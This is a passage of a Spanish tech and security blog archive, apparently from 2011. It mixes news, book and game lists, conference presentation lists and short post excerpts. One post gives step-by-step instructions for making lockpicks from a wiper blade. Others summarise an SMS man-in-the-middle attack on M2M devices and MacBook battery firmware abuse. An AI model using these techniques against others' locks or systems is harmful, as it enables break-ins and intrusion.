79	54	Managing Agile Projects	Kevin J. Aguanno	2005
80	69	A Tale of Two Systems: Lean and Agile Software Development for Business Leaders	Michael K. Levine	2009
81	67	Fearless Change: Patterns for Introducing New Ideas	Mary Lynn Manns, Linda Rising	2004
82	64	Balancing Agility and Discipline: A Guide for the Perplexed	Barry Boehm, Richard Turner	2003
83	79	Patterns of Agile Practice Adoption	Amr Elssamadisy	2007
84	-	Lean Architecture: for Agile Software Development	James O. Coplien, Gertrud Bjørnvig	2010
85	59	Lean-Agile Software Development: Achieving Enterprise Agility	Alan Shalloway, Guy Beaver, James R. Trott	2009
86	84	Business Agility: Sustainable Prosperity in a Relentlessly Competitive World	Michael H. Hugos	2009
87	-	Just Enough Software Architecture: A Risk-Driven Approach	George H. Fairbanks	2010
88	78	Principles of Software Development Leadership: Applying Project Management Principles to Agile Software Development	Ken Whitaker	2009
89	77	A Practical Guide to Distributed Scrum	Elizabeth Woodward, Steffan Surdek, Matthew Ganis	2010
90	76	The Business Value of Agile Software Methods: Maximizing Roi With Just-in-time Processes and Documentation	David F. Rico, Hasan H. Sayani, Saya Sone	2009
91	-	Personal Kanban: Mapping Work | Navigating Life	Jim Benson, Tonianne DeMaria Barry	2011
92	74	Agile Game Development with Scrum	Clinton Keith	2010
93	-	Agile Software Requirements: Lean Requirements Practices for Teams, Programs, and the Enterprise	Dean Leffingwell	2010
94	85	The Enterprise Unified Process: Extending the Rational Unified Process	Scott W. Ambler, John Nalbone, Michael J. Vizdos	2005
95	-	Managing Software Debt: Building for Inevitable Change	Chris Sterling	2010
96	82	Project Management the Agile Way: Making It Work in the Enterprise	John C. Goodpasture	2009
97	-	Agile Software Development with Distributed Teams	Jutta Eckstein	2010
98	-	SDLC 3.0: Beyond a Tacit Understanding of Agile	Mark Kennaley	2010
99	33	Scaling Software Agility: Best Practices for Large Enterprises	Dean Leffingwell	2007
100	95	Test-Driven Development: A Practical Guide

 

TY = Este año (This Year) LY = Año pasado (Last Year)

Google compra Motorola Mobility

Notición del día, Google a adquirido Motorola Mobility por 12.500 millones de dólares. La compañía de MoutainView ha pagado 40 dólares por acción en metálico.

Según en el comunicado emitido por Google, Android permanecerá abierto. Ahora habrá que ver como reaccionan el resto de compañías de hardware que han apoyado Android como: Samsung, HTC, LG, etc. Aunque Google dice que Motorola seguirá funcionando de forma independiente, está claro que el futuro desarrollo de Android estará orientado a correr de forma más optimizada en los dispositivos Motorola.

Dirty Boots, Sonic Youth, para este domingo por la …

 

Nada que decir, pura música.

Sonic Youth

Superodenadores del mundo (Infografía)

Fuente

12 libros técnicos más para el fin de semana

¡Otra lista de libros para la colección!

1. DOWNLOAD Operation Cleanup: Complete Malware Removal Guide
2. MIPS Assembly Language Programming CS50 Discussion and Project Book
3. Integrating Accessibility Throughout Design
4. Building Accessible Websites
5. Experiences In Cyber Security Education: The MIT Lincoln Laboratory Capture-the-Flag Exercise (PDF)
6. Operating Systems and Middleware: Supporting Controlled Interaction
7. Dive Into Python 3 (Actualizado)
8. Learn Ruby The Hard Way
9. jQuery For Dummies
10. Smashing jQuery
11. Methods of Symmetric Cryptanalysis (PDF)
12. Programming from the grown up

Er docu der finde: Dimensión Oculta - Fractales

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Cómo usar el lenguaje corporal para ser más …

Fuente

La guerra de las redes sociales (Infografía)

Fuente

Solución a los puzles (badge) de la Defcon 19

Como cada año, los organizadores de la Defcon crean algún tipo de juego con las identificaciones (Badges) de los asistentes.

Parece que esta año habían preparado 9 puzles por todo el recinto. Los distintos puzles eran:

1. Code wheel sequence
2. Sign numbers
3. Lanyard
4. NOPMYX
5. Candy Code
6. Eyes on Page Numbers
7. Logic Gates
8. Poisoned Sequence
9. Sum of the Moons and the Stars

Para ver de que trataba cada uno y su solución, puedes visitar este enlace, donde podrás toda esa información, incluso huevos de pascua y mucho más.

War Texting, weaponizing Machine 2 Machine

Una de las charlas que más expectación a levantado en la Black Hat 2011, es la que dieron los investigadores Don Bailey y Matthew Solnik de iSec Partners.

En la presentación demostraron como los dispositivos M2M (Machine 2 Machine) son vulnerables a una técnica que definen como “War texting”.

Básicamente es como hacer un MITM entre los dispositivos que hablan entre ellos y de esta forma poder esnifar los datos de autenticación usados y mandando mensajes al dispositivo receptor usando SMS.

Cómo crear tus propias ganzúas a partir de un …

En este tutorial que vi en Lifehacker, nos muestran paso a paso como crear nuestro propio juego de ganzúas a partir de un limpia parabrisas.

Todo lo que necesitamos, a parte de paciencia, es:

• Una Dremel o amoladora, aunque parece que también podríamos usar una lima
• Papel de lija
• Soplete
• Alicates
• Un vaso de agua
• Unas gafas de protección

El proceso:

• Corta un trozo del limpia parabrisas (longitud cómoda para tu mano)
• Le daremos forma a la ganzúa con nuestro Dremel, lima o lo que usemos. Primero deberás decidir que tipo quieres crear. Ten a mano el vaso de agua para enfriar el trozo de metal mientras lo limas.
• Con el papel de lija repasamos los bordes para dejarlos lo más suave posible
• Haciendo uso del soplete y los alicates le damos forma a la ganzúa
• Para protegerla del óxido le podemos untar un poco de aceite

Y si no te las quieres hacer tú mismo, siempre las puedes comprar hechas o pedirle una tarjeta de negocios a Kevin Mitnick.

Presentaciones de la DFRWS 2011

Ya podemos acceder a las presentaciones de la conferencia anual de este año de la DFRWS (Digital Forensics Research Workshop). Esta edición se celebró en New Orleans los días 1 al 3 de agosto.

A continuación os dejo la lista de las presentaciones:

• "A System for the Proactive, Continuous, and Efficient Collection of Digital Forensic Evidence", Clay Shields, Ophir Frieder and Mark Maloof (pdf)
• "Towards a General Collection Methodology for Android Devices", Timothy Vidas, Chengye Zhang and Nicolas Christin (pdf)
• "Augmenting Password Recovery with Online Profiling", Khawla Al-Wehaibi, Tim Storer and Brad Glisson (pdf)
• "An Evaluation of Forensic Similarity Hashes", Vassil Roussev (pdf)
• "Visualization in Testing a Volatile Memory Forensic Tool", Hajime Inoue, Frank Adelstein and Robert Joyce (pdf)
• "CAT Detect (Computer Activity Timeline Detection): A Tool for Detecting Inconsistency in Computer Activity Timelines", Andrew Marrington, Ibrahim Baggili, George Mohay and Andrew Clark (pdf)
• "Advanced Evidence Collection and Analysis of Web Browser Activity", Junghoon Oh, Seungbong Lee and Sangjin Lee (pdf)
• "Detecting Data Theft Using Stochastic Forensics", Jonathan Grier (pdf)
• "Forensic Carving of Network Packets and Associated Data Structures", Robert Beverly, Simson Garfinkel and Greg Cardwell (pdf)
• "Privacy-Preserving Network Flow Recording", Bilal Shebaro and Jedidiah Crandall (pdf)
• "Distributed Forensics and Incident Response in the enterprise", Michael Cohen, Darren Bilby and Germano Caronni (pdf)
• "Empirical Analysis of Solid State Disk Data Retention when used with Contemporary Operating Systems", Christopher King and Timothy Vidas (pdf)
• "Extracting the Windows Clipboard from Memory", James Okolica and Gilbert Peterson (pdf)
• "Reconstructing Corrupt DEFLATEd Files", Ralf Brown (pdf)

Los 100 mejores juegos gratis para Linux

Los juegos quizás sea el talón de aquiles de la adaptación de sistemas Linux en el escritorio en entornos caseros. Aunque para Linux no estén disponibles los juegos punteros, si que tiene muchos juegos de gran calidad. Aquí os dejo una lista de 100 juegos que podréis descargar de forma totalmente gratuita para tu Linux:

1. Urban Terror
2. Alien Arena
3. Wolfenstein: Enemy Territory
4. True Combat: Elite
5. True Combat: Close Quarters Battle
6. Smokin’ Guns
7. AssaultCube
8. Cube 2: Sauerbraten
9. Dark Places
10. Nexuiz
11. Xonotic
12. Red Eclipse
13. Legends
14. World of Padman
15. Tremulous
16. Warsow
17. Open Arena
18. ZEQ2 Lite
19. Zero Ballistics
20. Q3Rally
21. Greedy Car Thieves
22. Lemmingball Z
23. Waterstorm
24. Teeworlds
25. Savage: The Battle for Newerth
26. Savage 2: A Tortured Soul
27. Regnum Online
28. PlaneShift
29. Auteria
30. IConquerU
31. Eternal Lands
32. RuneScape
33. The Mana World
34. Daimonin
35. Atrinik
36. Stendhal
37. GemRB
38. Hero of Allacrost
39. FreeDroidRPG
40. Ardentryst
41. GNU FreeDink
42. Battle for Wesnoth
43. UFO: Alien Invasion
44. Legendary Legions
45. Free Heroes II
46. FreeCol
47. Freeciv
48. LordsAWar!
49. Scorched3D
50. Warmux (Formerly Wormux)
51. Hedgewars
52. Glest
53. MegaGlest
54. 0 A.D.
55. Seven Kingdoms: Ancient Adversaries
56. Battles of Antargis
57. Zero-K
58. Spring: 1944
59. netPanzer
60. Widelands
61. Unknown Horizons
62. OpenTTD
63. Simutrans
64. LinCity-NG
65. Vega Strike
66. Thunder and Lightning
67. FlightGear
68. GL-117
69. Search and Rescue II
70. Naev
71. Chromium B.S.U.
72. Glaxium
73. Danger from the Deep
74. Rigs of Rods
75. Vdrift
76. Ultimate Stunts
77. Tile Racer
78. ManiaDrive
79. TORCS
80. Speed Dreams
81. Trigger
82. Armagetron Advanced (Armacycles Advanced in Fedora)
83. GLtron
84. BMExt-GLtron
85. Extreme Tux Racer
86. SuperTuxKart
87. CannonSmash
88. Free Tennis
89. Slam Soccer 2006
90. PokerTH
91. Yo Frankie!
92. Plee the Bear
93. SuperTux
94. Go Ollie!
95. Frozen Bubble
96. Zaz
97. Amoebax
98. Secret Maryo Chronicles
99. Mega Mario
100. TuxTyping

En la entrada original puedes encontrar el enlace a la web oficial de cada juego, así como una pequeña descripción de los mismos con una captura de pantalla, así que no dejes de visitarla.

Popularidad de los frameworks Javascript …

Fuente

Presentaciones de la Defcon19

Ya están disponibles las presentaciones (PDF) de la recién acabada Defcon19.

dc-19-program.pdf DEFCON-19-Abstrct-The-Schemaverse-Guide.pdf DEFCON-19-Abstrct-The-Schemaverse.pdf DEFCON-19-Almeida-Workshop-ESD.pdf DEFCON-19-Alonso-Garrido-DUST.pdf DEFCON-19-Alonso-Garrido-Excel.pdf DEFCON-19-Arlen-Nano-Seconds-WP.pdf DEFCON-19-Arlen-Nano-Seconds.pdf DEFCON-19-Arpaia-Reed-Beat-to-1337.pdf DEFCON-19-Baldwin-DVCS-WP.pdf DEFCON-19-Baldwin-DVCS.pdf DEFCON-19-Barisani-Bianco-Laurie-Franken.pdf DEFCON-19-Barnett-Deceptive-Hacking-WP.pdf DEFCON-19-Barnett-Deceptive-Hacking.pdf DEFCON-19-Bilodeau-FingerBank.pdf DEFCON-19-Bilodeau-PacketFence.pdf DEFCON-19-Bouillon-Federation-and-Empire.pdf DEFCON-19-Bowne-Three-Generations-of-DoS-Attacks.pdf DEFCON-19-Brooks-Wilson-Traps-of-Gold.pdf DEFCON-19-Bryner-Kinectasploit.pdf DEFCON-19-Carey-Metasploit-vSploit-Modules.pdf DEFCON-19-Chamales-Securing-Crisis-Maps.pdf DEFCON-19-Chow-Abusing-HTML5.pdf DEFCON-19-Conti-Security-Research.pdf DEFCON-19-Cook-Kernel-Exploitation.pdf DEFCON-19-Craig-Internet-Kiosk-Terminals.pdf DEFCON-19-Crenshaw-Cipherspaces-Darknets.pdf DEFCON-19-Crowley-Cryptographic-Oracles.pdf DEFCON-19-Cryer-Taking-Your-Ball-and-Going-Home.pdf DEFCON-19-DC-Groups-Panel.pdf DEFCON-19-Devarajan-LeBert-VDLDS.pptx.pdf DEFCON-19-Dinaburg-Bit-Squatting.pdf DEFCON-19-Duckwall-Bridge-Too-Far.pdf DEFCON-19-Elhage-Virtualization-Under-Attack.pdf DEFCON-19-Elrod-Morris-Not-a-Doctor.pdf DEFCON-19-Engebretson-Pauli-Pen-Testing.pdf DEFCON-19-Fail-Panel.pdf DEFCON-19-Feinstein-Jarmoc-Get-Off-of-My-Cloud.pdf DEFCON-19-Foofus-Forceful-Browsing-WP.pdf DEFCON-19-Fritschie-Witmer-F-On-the-River.pdf DEFCON-19-Garcia-UPnP-Mapping-WP.pdf DEFCON-19-Garcia-UPnP-Mapping.pdf DEFCON-19-Gavin-OpenDLP.pdf DEFCON-19-Geers-Strategic-Cyber-Security-WP.pdf DEFCON-19-Geers-Strategic-Cyber-Security.pdf DEFCON-19-Gomez-Bulletproofing-The-Cloud.pdf DEFCON-19-Hamiel-Smartfuzzing_the_Web_DC.pdf DEFCON-19-Havelt-Henrique.pdf DEFCON-19-Heiland-Printer-To-Pwnd.pdf DEFCON-19-Holt-Kilger-Assessing-Civilian-Willingness.pdf DEFCON-19-Howard-Cyber-Security-Trends-WP.pdf DEFCON-19-Howard-Cyber-Security-Trends.pdf DEFCON-19-Imhoff-Password-Cracking.pdf DEFCON-19-JackDaniel-PCI-2-PANEL.pdf DEFCON-19-Jakhar-Jugaad-Linux-Thread-Injection.pdf DEFCON-19-Kennedy-Pentesting-Over-Powerlines-2.pdf DEFCON-19-Kennish-Tracking-the-Trackers.pdf DEFCON-19-Kornbrust-Hacking-and-Securing-DB2.pdf DEFCON-19-Kotler-Amit-Sounds-Like-Botnet.pdf DEFCON-19-Krick-License-to-Transmit.pdf DEFCON-19-Lai-Wu-Chiu-PK-APT-Secrets-2.pdf DEFCON-19-Lenik-MAC(b)Daddy.pdf DEFCON-19-Linn-PIG-Finding-Truffles.pdf DEFCON-19-Maresca-FIPS-140.pdf DEFCON-19-Marpet-Gostom-Smile-for-the-Grenade.pdf DEFCON-19-McCoy-Hacking-Net.pdf DEFCON-19-McGrew-Covert-WP.pdf DEFCON-19-McGrew-Covert.pdf DEFCON-19-McNabb-Vulns-Wireless-Water-Meter-Networks.pdf DEFCON-19-Miller-Battery-Firmware-Hacking.pdf DEFCON-19-O’Neil-Chin-Google-Android.pdf DEFCON-19-Ocepek-Blinkie-Lights-Arduino.pdf DEFCON-19-Ollam-Gun-Safes.pdf DEFCON-19-Osborn-Johansen-Hacking-Google-Chrome-OS.pdf DEFCON-19-Percoco-Spiderlabs-Droid.pdf DEFCON-19-Percoco-Spiderlabs-Malware-Freakshow-3.pdf DEFCON-19-Percoco-Spiderlabs-SSLizzard.pdf DEFCON-19-Phillips-Hacking-MMORPGs.pdf DEFCON-19-Pickett-Port-Scanning-Without-Packets.pdf DEFCON-19-Pickett-Resources.pdf DEFCON-19-Pittman-Password-Fail.pdf DEFCON-19-Rezchikov-Wang-Engelman-Airport-Security-WP.pdf DEFCON-19-Robinson-Time.pdf DEFCON-19-Schearer-WTF-Privacy.pdf DEFCON-19-Shah-Mobile-Moolah.pdf DEFCON-19-Skunkworks-Bitcoin.pdf DEFCON-19-Strauchs_Rad_Newman-SCADA-in-Prisons.pptx.pdf DEFCON-19-Street-Steal-Everything.pdf DEFCON-19-Sumner-Byers-Alien-Weaponizing-Cyberpsychology.pdf DEFCON-19-Sutherland-How-to-Get-Your-Message-Out.pdf DEFCON-19-Swende-Karlsson-Owasp-Hatkit.pdf DEFCON-19-Tassey-Perkins-Wireless-Aerial-Surveillance-Platform.pdf DEFCON-19-Thieme-Staring-into-the-Abyss-WP.pdf DEFCON-19-Trimble-Cybertravel.ppt.pdf DEFCON-19-Webb-Runtime-Process-Insemination.pdf DEFCON-19-Weeks-Network-Nightmare.pdf DEFCON-19-Weyers-Key-Impressioning.pdf DEFCON-19-Wilson-Traps-of-Gold.pdf DEFCON-19-Woodberg-Network-Application-Firewalls.pdf DEFCON-19-Zhu-Phishing-Online-Scams-in-China.pdf DEFCON-19-Zoz-Bianchi-Vanquishing-Voyeurs.pdf

Fuente

Máquinas virtuales para VirtualBox

Ya hace tiempo hablamos aquí de un repositorio de imágenes ya preparadas para VirtualBox. Pues bien, hoy os hablaremos de otro sitio desde donde nos podremos descargar más de lo mismo.

En virtualboxes.org podemos encontrar gran cantidad de sistemas operativos (gratuitos) ya montados y listos para poder ser descargados e instalados en nuestro VirtualBox, ahorrándonos así la tarea de tener que hacer la instalación desde cero de los mismos.

Hoy os voy a sorprender, New York, New York de …

Ahhhh, New York, New York ;)

Frank Sinatra.

Soluciones oficiales del #wgsbd2

En Security By Default por fin han publicado las soluciones oficiales del segundo wargame que llevaron a cabo en la Campus Party de Valencia.

Los solucionarios de los ganadores (PDF):

• nu11
• w3b0n3s
• kifo

Y aunque el grupo Activalink no está entre los ganadores, ya que sólo los tres primeros tenían premios, también fueron capaz de resolver todas las pruebas.

En la entrada original también recogen soluciones a algunas de las pruebas por otros participantes, así algunas gráficas con datos estadísticos.

CyberHades en el despegue del JUNO

Tuvimos el privilegio y la suerte de poder presenciar el lanzamiento de Juno, un satélite que llegará a Júpiter dentro de 5 añitos, ahí al lado vamos… :)

PD: Mañana publicaremos algunas fotos.

Perdón por la imagen, pero no teníamos trípode y con el zoom a tope, un niño ca***n que tenía a lado y el calor que hacía, no era fácil estabilizar la imagen.

Er docu der finde: La vida dentro de 50 años - La …

Gracias a David, podemos disfrutar de este documental.

Parte 1/6

Parte 2/6

Parte 3/6

Parte 4/6

Parte 5/6

Parte 6/6

Robot R2D2 hecho con Legos

Fuente

Jabba se pone en forma (Humor)

Visto en HTCARU.

Vídeos de la DebConf 2011

Ya están disponibles los vídeos de las charlas de la DebConf11

• 697_use_Perl.ogv
• 698_Google_Summer_of_Code_2011_and_Code-in_2010_at_Debian.ogv
• 701_Debian_System_Administrators_BoF.ogv
• 702_Meet_the_Technical_Committee.ogv
• 703_SPI_BOF.ogv
• 704_FreedomBox_progress_report.ogv
• 705_Delivering_Multi-Platform_Applications.ogv
• 707_Ask_the_Leader.ogv
• 708_Bits_from_the_Release_Team.ogv
• 710_Debian_Science_Roundtable.ogv
• 711_Blending_Debian.ogv
• 712_Measuring_Team_Performance.ogv
• 714_Issues_with_large-scale_deployments.ogv
• 716_Derivatives_Roundtable.ogv
• 717_buildd_wanna-build_update.ogv
• 720_Bits_from_the_DPL.ogv
• 722_Debian-Women_-_The_Past_and_the_Present.ogv
• 723_Debian-Women_BoF.ogv
• 724_The_Publicity_Team_and_You.ogv
• 725_Publicity_BoF.ogv
• 726_You_the_FTP_Team_and_the_NEW_queue.ogv
• 728_Debian_Packaging_with_Git.ogv
• 731_Debian_Events_BoF.ogv
• 732_Welcome_talk.ogv
• 739_The_Linux_kernel_in_Debian.ogv
• 740_Fonts_packaging_BOF.ogv
• 743_pleasure_pain_packages_policy_and_piuparts.ogv
• 745_Bootstrapable_Debian.ogv
• 747_Multiarch_in_Debian_6_months_or_6_years_on.ogv
• 750_Build_your_own_modern_app_installer.ogv
• 751_NM_AM_FD_DAM_BOF.ogv
• 754_Quality_requirements_for_software_in_Debian.ogv
• 756_Could_we_make_desktop_users_need_their_local_Debian_geeks_less.ogv
• 759_Debian_Rolling_Bof.ogv
• 760_Lintian_BoF.ogv
• 761_Debian_dErivatives_eXchange_DEX_BoF.ogv
• 762_Quality_Assurance_BOF.ogv
• 763_Ruby_in_Debian.ogv
• 764_Test_Driven_Development_in_Debian_BoF.ogv
• 766_Sprint_and_money_BoF.ogv
• 767_the_DPL_wannabe_and_HOWTO_BoF.ogv
• 769_Care-taking_of_Debian_finances_assets_and_processes.ogv
• 770_Debian_coding_for_human_rights.ogv
• 771_Mass_deployment_BOF.ogv
• 773_App_recommender_in_Debian.ogv
• 775_Debian_as_though_cryptographic_authentication_mattered.ogv
• 777_Changing_the_debian-mentors_culture.ogv
• 778_Debian_for_shy_people.ogv
• 779_Debian-Edu_Current_Status_and_Development_Ideas_for_the_next_Decade.ogv
• 784_Tracking_website_users.ogv
• 785_The_Website_Team.ogv
• 788_Debian_Wiki_BoF.ogv
• 791_Haskell_in_Debian.ogv
• 793_backports_improvements.ogv
• 795_ARM_BoF.ogv
• 803_Life_in_Debian.ogv
• 804_Understanding_Debian.ogv
• 805_How_to_contribute_and_get_involved.ogv
• 806_Debian_in_Enterprise_A_Google_Case_Study.ogv
• 807_Austrian_e-health_system.ogv
• 809_Opening_Ceremony_with_Government_Officials.ogv
• 817__The__Videoteam_training_.ogv
• 826_Video_training_session_2.ogv
• 836_Packaging_for_beginners.ogv

Eric Prydz, Niton (instrumental), para que te …

httpv://www.youtube.com/watch?v=SCpheFCs02c

Espectacular, Eric Prydz.

The Apple University (Infografía)

Fuente

Er docu der finde: Códigos imposibles (Code …

Historia de los lenguajes de programación …

Fuente

Curso de Hacking Ético usando Armitage y …

En esta entrada de The Ethical Hacker podemos ver un curso de Hacking Ético usando Armitage y Metasploit. El curso consta de 6 vídeos y dura aproximadamente 2 horas.

Estos vídeos tutoriales han sido creados por Raphael Mudge, creador de Armitage. Si quieres practicar lo que se enseña en los vídeos, aquí tienes el material que necesitas.

Los vídeos son:

Introducción

http://vimeo.com/26638955

Metasploit

http://vimeo.com/26943860

Access

http://vimeo.com/26639228

Post-Exploitation

http://vimeo.com/26652073

¿Por dónde nos llega el malware? (Infografía)

Fuente

Libros para los que viajéis este fin de semana... …

• El Libro para Principiantes en Node.js
• Linux Kernel in a Nutshell
• Tuning Android Applications
• Smooth CoffeeScript
• Simply Scheme: Introducing Computer Science
• Systems Engineering For Dummies (Necesita registro)
• Jenkins: The Definitive Guide
• Bam! Your Guide To Digital Comic Books
• Secure Your Files With TrueCrypt
• How to Think Like a Computer Scientist
• A Window Into Mobile Device Security (PDF)

Chewbacca y Han Solo, antes y después

Bonita foto donde aparecen los dos actores de Chewbacca (Peter Mayhew) y Han Solo (Harrison Ford).

Visto aquí desde Reddit.

Espectacular conversión de una N64 a portátil (en …

No encuentro el enlace original donde se explique mejor, pero más o menos por la imágenes y el esquema que puedes ver al principio (está en castellano) se podría hacer. Resumiendo, se conecta una batería (exactamente 3 de 4v y 6,8A) y una pantalla LED a la N64.

Lo más interesante de todo, es que aparte de los componentes que he mencionado antes, aprovecha toda la carcasa original de la N64 para montar la nueva portable. De hecho, pilla un par de trozos de los mandos y la parte delantera para incrustar en ella la pantalla LED.

6 Pruebas fáciles para evaular la seguridad de tu …

Seis sencillas pruebas (que puedes realizar desde Google y tu navegador de Internet favorito) para evaluar si tu web está infectada por la viagra ó contiene metadatos con información así como alguna vulnerabilidad SQL:

1. El test de la Viagra (o el software barato)
2. Ficheros con usuarios en los metadatos
3. La prueba de robots.txt
4. Listado de directorios abiertos
5. SQL Injection de libro en aplicaciones ASP o CFM con la comilla
6. Blind SQL Injection de Libro en ficheros PHP

Trucos publicados por nuestro amigo, el maligno ;) de Informatica64.

Post original con toda la información aquí.

PaulDotCom Episodio 5, con Raúl Siles

Ya está disponible un nuevo episodio de PaulDotCom. En éste entrevistan a Raúl Siles. Desde aquí te puedes descargar el podcast.

Ya tienes algo que escuchar esta noche :)

Vídeos de la Security B-Sides Londres 2011

Vídeos de la conferencia de seguridad Security B-Sides celebrada en Londres el pasado 20 de abril:

1. Rory McCune - Pen. Testing Must Die
2. Xavier Mertens - All your logs are belong to you!
3. David Rook & Chris Wysopal - Jedi mind tricks fo...
4. Arron "finux" Finnon - DNS Tunnelling: It's all ...
5. Justin Clarke - Practical Crypto Attacks Against...
6. Dr Paul Judge - Social Media & Security: Are the...
7. Wicked Clown - Breaking out of Restricted RDP
8. Bsides London Slideshow
9. Alec Muffett - sex, lies and instant messenger

EEUU preparando la próxima generación de cyber …

En los tiempos que corren, el país con el ejército más poderoso del mundo sabe que las guerras ya no sólo se libran en el campo de batalla convencional y cada vez son más los incidentes ocurridos en un campo de batalla poco convencional, nuevo y mucho en el que aprender: Internet.

EEUU sabe muy bien el papel que ya juega Internet, y ha sufrido en sus propias carnes ataques como la liberación de miles de documentos secretos militares, más lo que evidentemente no sale a la luz.

Kaspersky Rescue Disk, herramienta gratuita para …

Windows/Linux

Con esta utilidad que puedes descargar desde aquí, puedes crear un CD ó un pendrive desde el que iniciar y desde allí acceder al sistema que quieres reparar. Una vez arranque, tendrás una serie de herramientas desde las cuales puedes acceder a las unidades, modificar ficheros, buscar sectores defectuosos e incluso pasar un antivirus (si arrancas en modo texto, aparecerá nuestro querido Midnight Commander).  Al estar en Linux, incluso puedes abrir una shell y desde allí realizar todas las operaciones que necesites de reparación tanto para Windows como para Linux.

Challenge Acepted! Nyan Cat y sus videos …

Me vais a perdonar este post pero es que no he parado de reir cuando lo he visto y tenía que contarlo.  Supongo que todos conocéis a Nyan Cat,  ese pseudo gato (mitad gato y mitad tostada rellena) creado al estilo 8 bits retro  con una musiquilla que te puede llevar a la locura si lo escuchas más de 1 minuto 1 segundo. Pues yo no lo conocía, hasta que lo ví por la Campus Party este año y me pregunté qué cojon…  qué demonios era eso.  No se para que me lo pregunto, ya que realmente no es nada (pensaba que sería un juego, aunque hay uno pero se hizo después, una serie, etc) , es lo que ves, un medio gato volando con música pegadiza de fondo y ya está.

El resurgir de Sauron

Click en la imagen para ampliar

Visto en HTCARU.

She's a Rainbow, The Rolling Stones para esta …

Pedazo de clásico para este domingo de los Rolling Stones, She’s a Rainbow.

 

Y de paso, dos anuncios con esta canción de fondo:

Apple iMac 1999

Sony Bravia

Grave fallo de seguridad en los Apple MacBook a …

Actualización (tuxotron): Aquí tenéis todos los detalles.

El investigador de seguridad Charlie Miller nos explica una forma interesante de hack para el MacBook usando la batería.

El portátil tiene un circuito propio que se utiliza para monitorizar y reportar al OS el estado de la batería. En los MacBook, la baterías se envían con una contraseña por defecto. Eso significa que el firmware de la batería se puede controlar para hacer muchas cosas, entre ellas destruirla usando algún tipo de malware (ese circuito que tienen los MacBook, entre otras cosas controla que no se sobrecaliente o se sobrecarge, ya sabéis por donde voy ... ). Y ojo, si se instala, según Miller no se podría eliminar, anque reinstales el OS, el malware se podría almacenar en la batería, tendrías que cambiarla.

Liberación de 33Gb de publicaciones científicas

Según leo en Slashdot, Greg Maxwell ha liberado en un fichero torrent un total de 18.592 publicaciones científicas, que en su día se vendieron por una cuantía de entre 8 y 19 dólares cada una. Todas ellas ellas son anterior a 1.923 y por lo tanto ahora son de dominio público.

El motivo de dicha acción pare ser que es en protesta por la detención de Aaron Swartz, acusado de robar más de 4 millones de documentos científicos de JSTOR.

Er docu der finde: Fisgones Informáticos (Hacker …

La calidad del vídeo no es muy buena, pero lo suficiente para este tipo de documentales. He estado buscando este vídeo por internet, pero todo lo que encontré fue la versión original (inglés) o con subtítulos en alemán. Esto es una digitalización que hice en su día de una cinta VHS a VCD.

The Official Ubuntu Book (sexta edición) y The …

Esta noticia la hemos visto en la web de nuestros amigos de Brainstormoverride, y nos cuentan que ya podemos comprar en papel o verlo online  el nuevo libro de Ubuntu donde encontrarás desde ayuda a la instalación, configuración de Ubuntu Server, Unity, etc.

Está en inglés, estos son los capítulos:

• Chapter 1: The Ubuntu Story
• Chapter 2: Installing Ubuntu
• Chapter 3: Using Ubuntu on the Desktop
• Chapter 4: Gaining Greater Proficiency
• Chapter 5: The Ubuntu Server
• Chapter 6: More Applications for Ubuntu
• Chapter 7: The Ubuntu Community
• Chapter 8: Using Kubuntu
• Chapter 9: GNOME 3, GNOME Shell, and More
• Chapter 10: Ubuntu-Related Projects
• Chapter 11: Introducing Ubuntu One
• Appendix: Welcome to the Command Line

Enlace al post original.

Y por otro lado, hemos encontrado también la segunda edición de otro magnífico libro llamado The Official Ubuntu Server Book, que también puedes comprar aquí o verlo online aquí. Este es el índice:

Momento histórico, el aterrizaje del Atlantis, se …

Espectacular, es un video del aterrizaje completo, para la historia.

Listado de juegos Open Source realmente …

Video del port de DukeNukem 3D, EDuke32

Con los que puedes jugar, cambiar el código fuente o incluso modificar los gráficos. Este listado ofrece varios juegos Open Source que no tienen nada que envidiar a muchos juegos comerciales.

Casi todos están para las plataformas Linux y Windows (e incluso Mac).

Encuentran un objeto con forma de nave espacial en …

Y encima, si le echas imaginación, se parece al Halcón Milenario ;)

Fuera bromas, un equipo sueco cazatesoros (Swedish Ocean Explorer) que estaba usando el sónar para encontrar barcos hundidos, de repente vieron este extraño “objeto” en sus pantallas. Se encuentra a 87 metros de profundidad entre Suecia y Finlandia y tiene unos 60 metros de diámetro.

Este es el vídeo del sónar:

Por supuesto, ya se está describiendo a esta anomalía como un “ovni estrellado” …

Todo lo que tienes que saber sobre la protección …

Visto en Lifehacker

Tuts 4 You - Colección 2011

La típica pregunta que se hace uno a la hora de aprender o introducirse en una materia nueva es: ¿Por dónde empezar?

Tuts 4 You es el foro o uno de los foros/sitios web de referencia sobre ingeniería inversa.

Éste está lleno de todo tipo de documentación, utilidades, crackmes y de todo tipo de información sobre el tema.

No sé si esta es la primera vez que lo hacen, pero ahora te puedes descargar todo el sitio completo (menos los ficheros con malware) a través de un fichero torrent. El fichero ocupa 3.69 Gb. El contenido del mismo es de todo el material del sistio hasta julio de 2011 y según parece esta colección se actualizará cada año. Por lo tanto esta colección, como dice el título de esta entrada, es la del 2011. Los ficheros con malware te lo puedes descargar desde la web.

Guía para principiantes de Shell Script, segundo …

Otra entrega de HowToGeek con un nuevo tutorial sobre Shell Scripting.

No te pierdas la primera entrega.

Microsoft se une a la fiesta de cumpleaños de …

Como muchos ya sabréis este año es el 20 aniversario de Linux, del cual ya hablamos aquí. Una de las propuestas que la fundación Linux lanzó fue pedir a los usuarios que mandarán sus felicitaciones en forma de vídeo. Y como últimamente Microsoft está haciendo buenas migas con Linux, tampoco querían faltar a la fiesta y han mandado su felicitación:

Todas las presentaciones del IV Curso de Verano de …

Chema Alonso ha publicado en su blog, que desde Eventos Creativos han subido todas las presentaciones del IV Curso de Seguridad de la UEM celebrado en Madrid.

De paso deja caer que el III Asegúr@te Camp (aquí puedes ver cómo nos lo pasamos en el II) se celebrará en Octubre.

Este es el listado de la presentaciones:

• Client Side-Attacks en Web Applications
• Ataques Man in the Middle en IPv6
• La dura vida de un pentester
• FOCA 2.7
• Amenazas de seguridad en comunicaciones de datos móviles
• Cloud disaster and recovery plan
• Autenticación y fima digital en entornos VDI con DNIe
• El malware en Mac OS X no es un juego de niños
• Cifrado de discos en entornos corporativos
• DUST: Tu RSS es tuyo
• Sharepoint 2010: Seguridad
• Hacking SCADA
• Aclarando algunas dudas sobre RSA
• Auditing mobile applications
• Terminal Hackpplications
• El malware hoy en día (actualizado a día de hoy)
• Implantación de un sistema NAP

En caso de emergencia, taladrar aquí

